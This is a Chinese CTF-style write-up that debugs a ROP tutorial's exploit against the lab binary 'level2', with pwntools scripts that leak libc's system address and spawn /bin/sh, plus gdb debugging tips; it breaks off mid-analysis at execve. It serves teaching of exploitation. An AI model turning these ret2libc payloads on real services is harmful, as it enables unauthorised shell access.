PWN——堆栈平衡的考虑

author:purpleroc@0xFA

背景是这样的,某天A君给发了蒸米的rop学习文章链接,并说里面的0x01例子中的exp4.py没能执行成功,文章很早前就看过,受益匪浅,不过还真没练过里面的bin。
于是,重新装个32位Ubuntu14.04,配好pwntools和peda,就开始折腾之旅了。
这篇文章也是整个折腾过程中的思路历程,以及一些调试方法和技巧。希望对你有帮助,同时作为一个才会用gdb的小菜鸟,文中难免会有些错误,也希望各位大大斧正。

0x01 改

根据文中描述,去作者github上找到exp4.py和level2,放在同一目录下,并不能跑起来,甚至不能获取到system地址。于是觉得是leak函数中出了问题。
详细看了看exp,发现作者由于笔误将vulfun_addr 写成了 0x08048474,而真实地址为0x08048404。
改正后,能获取到system了,可仍然无法getshell。
继续排查,首先将关注点定焦在payload2上:

1.payload2 = 'a'*140
2.payload2 += p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8)
3.payload2 += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)
4.//格式为 目的函数 + 返回地址 + 目的函数参数

‘a’*140是用来覆盖,使得 vulnerable_function执行完的返回地址为p32(plt_read),同时设置read的三个参数read(p32(0), p32(bss_addr), p32(8))(从标准输入接受8字节,写入bss_addr)以及read执行完后的返回地址p32(pppr)。返回到pppr后,程序依次将p32(0)、p32(bss_addr) 、p32(8)出栈,并控制eip走向system_addr,同时设置system函数执行完的返回地址为vulfun_addr,参数为bss_addr。
这一切看起来都没有问题的,然而在ida里跟随0x804855d,发现,其并不是pppr。
于是,在peda里使用ropgadget命令找到一个可用pppr来替换。这里选0x80484bd。
Alt text
改完这两个地方后,再运行exp,发现还是不能获取到shell,那,问题在哪呢?
Alt text

0x02 查

既然肉眼看不出问题了,就得上调试器了。
调试方法有很多中:

  1. 若payload不需要动态leak获取到的地址,则可以直接用python将payload写到文件中,而后gdb中r < file,来运行。
  2. 若payload需要动态地址,可用下面两种方法:
    a. 在exp的交互过程中添加,time.sleep(10),并在另一个终端里一次执行:
    ps -ef | grep level2 获取目标PID
    gdb attach PID
    b. 使用pwntools自带的gdb调试功能。在exp中添加
    import pwnlib,在需要调试的交互前添加
    pwnlib.gdb.attach(p)即可。
    当然,新装系统直接加载添加这两条语句会报错:
    pwnlib.exception.PwnlibException: Called stubbed-out function. Get psutil to work on your platform, then come back.
    要使用这个功能所需要做的设置:
    1. pwnlib.gdb需要 psutil。可使用
      pip install psutil来安装(并不是sudo apt-get install psutils)。
    2. pip安装psutil时需要对其进行编译,而这时会报错:
      psutil/_psutil_linux.c:12:20: fatal error: Python.h: No such file or directory
      这是由于缺少python-dev。
    3. 这个时候需要sudo apt-get install python-dev
      如此,便可在需要调试的地方直接添加pwnlib.gdb.attach(p)

本文中,我们需要在payload2发送之前调试进程,于是,现在exp如下:

1.#!/usr/bin/env python
2.from pwn import *
3.import pwnlib
4.
5.elf = ELF('./level2')
6.plt_write = elf.symbols['write']
7.plt_read = elf.symbols['read']
8.vulfun_addr = 0x08048404
9.
10.def leak(address):
11. payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
12. p.send(payload1)
13. data = p.recv(4)
14. print "%#x => %s" % (address, (data or '').encode('hex'))
15. return data
16.
17.p = process('./level2')
18.d = DynELF(leak, elf=ELF('./level2'))
19.
20.system_addr = d.lookup('system', 'libc')
21.print "system_addr=" + hex(system_addr)
22.
23.bss_addr = 0x0804a020
24.pppr = 0x80484bd
25.
26.payload2 = 'a'*140 + p32(plt_read) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8)
27.payload2 += p32(system_addr) + p32(vulfun_addr) + p32(bss_addr)
28.
29.pwnlib.gdb.attach(p)
30.print "\n###sending payload2 ...###"
31.p.send(payload2)
32.p.send("/bin/sh\0")
33.
34.p.interactive()

exp跑起来成功获得一个gdb调试窗口:
Alt text
按照排查思路,从后往回追,先看system调用的地方是否有问题,比如参数、比如返回地址:

  1. system地址是获取正确的:
    Alt text
  2. system参数是否正确:
    Alt text
    似乎是有问题的,但这是因为,我们exp中attach(p)后继续运行,程序会先等待我们输入,再从p.send(“/bin/sh”)接受目标参数。我们队payload2进行少许修改如下:
1.payload2 = 'a'*140  + p32(plt_read) + p32(vulfun_addr) + p32(0) + p32(bss_addr) + p32(8)
2.print "\n###sending payload2 ...###"
3.p.send(payload2)
4.p.send("/bin/sh\0")
5.
6.pwnlib.gdb.attach(p)
7.payload3 = 'a'*140 + p32(system_addr) + p32(vulfun_addr) + p32(bss_addr) + p32(0)
8.
9.print "\n###sending payload3 ...###"
10.p.send(payload3+'\n')
11.p.interactive()

这样,payload2负责接受“/bin/sh\0”,写入bss。而payload3则负责调用system(“/bin/sh”),我看下gdb中的传参情况:
Alt text
讲道理的话,这已经可以了,没问题了的。然而,continue却报错了:

1.[New process 26737]
2.[Inferior 2 (process 26737) exited with code 0177]

google了下,也没找到exited code 0177的原因。于是,自己来找吧。上图中可以看到esp中存放的就是retn地址,那在retn地址那下断点,看是否能断下来。
结果,是没有断下来,意味着,在system函数中,程序就已经退出了。那,是在哪退出的呢?
另外起个终端,写个c:

1.#include <stdio.h>
2.void main(){system('/bin/sh');}

编译并gdb调试用来对照。
Alt text
左边是level2,右边标准对照程序。除了寄存器中内容不同外,其余关键信息都没错,那是不是寄存器的问题呢?
用gdb的set命令将标准程序中的寄存器全部清零,可还是能获得shell,这意味着,和寄存器的值无关。
继续单步跟踪,知道整个流程是:system调用do_system,而后do_system调用execve来启动程序。execve的函数原型如下:

1.int execve(const char * filename,char * const argv[ ],char * const envp[ ]);

调试窗口对execve下断点,并且对比: